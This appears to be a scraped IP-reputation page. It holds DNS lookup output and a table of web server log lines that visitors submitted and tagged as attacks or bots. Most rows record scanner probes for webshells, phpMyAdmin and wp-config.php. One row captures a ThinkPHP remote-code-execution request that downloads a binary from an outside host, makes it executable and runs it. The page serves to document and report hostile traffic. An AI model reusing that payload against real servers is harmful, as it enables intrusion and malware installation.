城市(city): unknown
省份(region): unknown
国家(country): United States
运营商(isp): unknown
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 13.212.76.229
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 22910
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;13.212.76.229. IN A
;; AUTHORITY SECTION:
. 213 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022022601 1800 900 604800 86400
;; Query time: 17 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sun Feb 27 11:50:32 CST 2022
;; MSG SIZE rcvd: 106229.76.212.13.in-addr.arpa domain name pointer ec2-13-212-76-229.ap-southeast-1.compute.amazonaws.com.Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
229.76.212.13.in-addr.arpa name = ec2-13-212-76-229.ap-southeast-1.compute.amazonaws.com.
Authoritative answers can be found from:| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 14.17.3.64 | attack | 14.17.3.64 - - [10/Apr/2019:19:11:05 +0800] "GET //robots1.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobi le/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 14.17.3.64 - - [10/Apr/2019:19:11:06 +0800] "GET //robots1.php HTTP/1.1" 308 257 "http://ipinfo.asytech.cn//robots1.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebK it/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 14.17.3.64 - - [10/Apr/2019:19:11:06 +0800] "GET / HTTP/1.1" 301 194 "https://ipinfo.asytech.cn//robots1.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 14.17.3.64 - - [10/Apr/2019:19:11:06 +0800] "GET / HTTP/1.1" 200 3275 "http://ipinfo.asytech.cn/" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, lik e Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-10 19:52:51 |
| 113.200.201.130 | attack | 113.200.201.130 - - [08/Apr/2019:12:07:26 +0800] "POST /up.php HTTP/1.1" 404 499 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" 113.200.201.130 - - [08/Apr/2019:12:07:26 +0800] "POST /test123.php HTTP/1.1" 404 504 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" 113.200.201.130 - - [08/Apr/2019:12:07:26 +0800] "POST /test123.php HTTP/1.1" 404 504 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" 113.200.201.130 - - [08/Apr/2019:12:07:27 +0800] "POST /fb.php HTTP/1.1" 404 499 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" 113.200.201.130 - - [08/Apr/2019:12:07:27 +0800] "POST /paylog.php HTTP/1.1" 404 503 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" 113.200.201.130 - - [08/Apr/2019:12:07:27 +0800] "POST /paylog.php HTTP/1.1" 404 503 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" |
2019-04-08 12:08:33 |
| 195.231.8.124 | attack | 195.231.8.124 - - [09/Apr/2019:13:47:18 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://185.244.25.145/love/ai.x86%20;chmod%20777%20*%20ai.x86;%20cat%20ai.x86%20%3E%20efjins;chmod%20777%20efjins;./efjins%20thinkphp HTTP/1.1" 301 194 "-" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-957.5.1.el7.x86_64" |
2019-04-09 14:01:27 |
| 101.226.102.70 | attack | 101.226.102.70 - - [12/Apr/2019:06:27:56 +0800] "GET /plus/90sec.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 101.226.102.70 - - [12/Apr/2019:06:27:56 +0800] "GET /plus/90sec.php HTTP/1.1" 404 209 "http://ipinfo.asytech.cn/plus/90sec.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-12 07:07:38 |
| 35.229.108.3 | bots | 35.229.108.3 - - [09/Apr/2019:10:36:02 +0800] "GET /index.php/2019/04/09/vladimir_putin_2019_04_09_en/ HTTP/1.1" 200 13467 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0" 35.229.108.3 - - [09/Apr/2019:10:36:02 +0800] "GET /index.php/2019/04/09/apple_2019_04_09_en/ HTTP/1.1" 200 13979 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0" 35.229.108.3 - - [09/Apr/2019:10:36:02 +0800] "GET /index.php/2019/04/09/taylor_swift_2019_04_09_en/ HTTP/1.1" 200 13803 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0" 35.229.108.3 - - [09/Apr/2019:10:36:02 +0800] "GET /index.php/2019/04/09/google_2019_04_09_en/ HTTP/1.1" 200 15835 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0" 35.229.108.3 - - [09/Apr/2019:10:36:02 +0800] "GET /index.php/2019/04/09/uber_2019_04_09_en/ HTTP/1.1" 200 13643 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0" |
2019-04-09 10:36:45 |
| 42.56.30.66 | attack | 42.56.30.66 - - [09/Apr/2019:21:03:03 +0800] "GET /mgw.htm?operationType=com.cars.otsmobile.queryLeftTicket&requestData=%5B%7B\\x22train_date\\x22%3A\\x2220181231\\x22%2C\\x22purpose_codes\\x22%3A\\x2200\\x22%2C\\x22from_station\\x22%3A\\x22BJP\\x22%2C\\x22to_station\\x22%3A\\x22SHH\\x22%2C\\x22station_train_code\\x22%3A\\x22\\x22%2C\\x22start_time_begin\\x22%3A\\x220000\\x22%2C\\x22start_time_end\\x22%3A\\x222400\\x22%2C\\x22train_headers\\x22%3A\\x22QB%23\\x22%2C\\x22train_flag\\x22%3A\\x22\\x22%2C\\x22seat_type\\x22%3A\\x220\\x22%2C\\x22seatBack_Type\\x22%3A\\x22\\x22%2C\\x22ticket_num\\x22%3A\\x22\\x22%2C\\x22dfpStr\\x22%3A\\x22\\x22%2C\\x22baseDTO\\x22%3A%7B\\x22check_code\\x22%3A\\x22d38a201f2de926ce0686aedfdcf2de68\\x22%2C\\x22device_no\\x22%3A\\x22WtaHBzID7ZQDADJh05y5LLpd\\x22%2C\\x22mobile_no\\x22%3A\\x22\\x22%2C\\x22os_type\\x22%3A\\x22a\\x22%2C\\x22time_str\\x22%3A\\x2220181030152947\\x22%2C\\x22version_no\\x22%3A\\x224.1.9\\x22%7D%7D%5D&ts=1540884587652&sign=37b8ebe6406579e4fb2ac8c9038eab37 HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" |
2019-04-09 21:06:38 |
| 80.82.70.187 | botsattack | 80.82.70.187 - - [11/Apr/2019:11:47:51 +0800] "GET http://www.baidu.com/cache/global/img/gs.gif HTTP/1.1" 301 194 "-" "Mozilla" |
2019-04-11 11:52:03 |
| 120.131.10.157 | attack | 120.131.10.157 - - [09/Apr/2019:04:15:09 +0800] "GET /index.php?s=/Core/File/uploadPictureBase64.html HTTP/1.1" 200 10484 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50" |
2019-04-09 04:15:48 |
| 207.180.211.248 | attack | 207.180.211.248 - - [10/Apr/2019:15:58:13 +0800] "GET /t6nv.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36" 207.180.211.248 - - [10/Apr/2019:15:58:14 +0800] "GET /muhstik.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36" 207.180.211.248 - - [10/Apr/2019:15:58:14 +0800] "GET /text.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36" 207.180.211.248 - - [10/Apr/2019:15:58:14 +0800] "GET /wp-config.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36" 207.180.211.248 - - [10/Apr/2019:15:58:14 +0800] "GET /muhstik.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36" 207.180.211.248 - - [10/Apr/2019:15:58:15 +0800] "GET /muhstik2.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36" 207.180.211.248 - - [10/Apr/2019:15:58:15 +0800] "GET /muhstiks.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36" 207.180.211.248 - - [10/Apr/2019:15:58:15 +0800] "GET /muhstik-dpr.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36" 207.180.211.248 - - [10/Apr/2019:15:58:15 +0800] "GET /lol.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36" |
2019-04-10 16:01:17 |
| 111.206.198.14 | bots | 百度渲染爬虫，主要爬取图片以及css、js等 111.206.198.14 - - [08/Apr/2019:04:55:14 +0800] "GET /wp-content/uploads/2018/12/SIF-1.png HTTP/1.1" 200 47291 "https://www.eznewstoday.com/index.php/2018/12/10/a-simple-but-tough-to-beat-baseline-for-sentence-embeddings/" "Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)" 111.206.221.7 - - [08/Apr/2019:04:55:14 +0800] "GET /wp-content/ql-cache/quicklatex.com-ac9d53e7cc9ffa75a70082f94665c349_l3.png HTTP/1.1" 200 4258 "https://www.eznewstoday.com/index.php/2018/12/10/a-simple-but-tough-to-beat-baseline-for-sentence-embeddings/" "Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)" 111.206.198.70 - - [08/Apr/2019:04:55:14 +0800] "GET /wp-content/ql-cache/quicklatex.com-ac9d53e7cc9ffa75a70082f94665c349_l3.svg HTTP/1.1" 200 7427 "https://www.eznewstoday.com/index.php/2018/12/10/a-simple-but-tough-to-beat-baseline-for-sentence-embeddings/" "Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)" |
2019-04-08 05:09:52 |
| 118.25.145.186 | attack | 118.25.145.186 - - [10/Apr/2019:12:27:07 +0800] "{\\x22id\\x22:1,\\x22jsonrpc\\x22:\\x222.0\\x22,\\x22method\\x22:\\x22login\\x22,\\x22params\\x22:{\\x22login\\x22:\\x22x\\x22,\\x22pass\\x22:\\x22x\\x22,\\x22agent\\x22:\\x22x\\x22}}" 400 182 "-" "-" |
2019-04-10 12:27:32 |
| 195.231.6.16 | attack | 端口扫描，攻击IP |
2019-04-09 14:39:18 |
| 203.208.60.29 | bots | 没想到谷歌中国的IP和海外的ip还不一样，海外的是66.249.*.* |
2019-04-04 08:02:54 |
| 139.59.26.155 | attack | 139.59.26.155 - - [07/Apr/2019:22:50:18 +0800] "GET /phpMyAdmin/ HTTP/1.1" 301 194 "-" "ZmEu" 139.59.26.155 - - [07/Apr/2019:22:50:18 +0800] "GET /phpmyadmin/ HTTP/1.1" 301 194 "-" "ZmEu" |
2019-04-08 04:57:56 |
| 115.87.27.91 | attack | 115.87.27.91 - - [04/Apr/2019:18:44:53 +0800] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" |
2019-04-04 18:46:39 |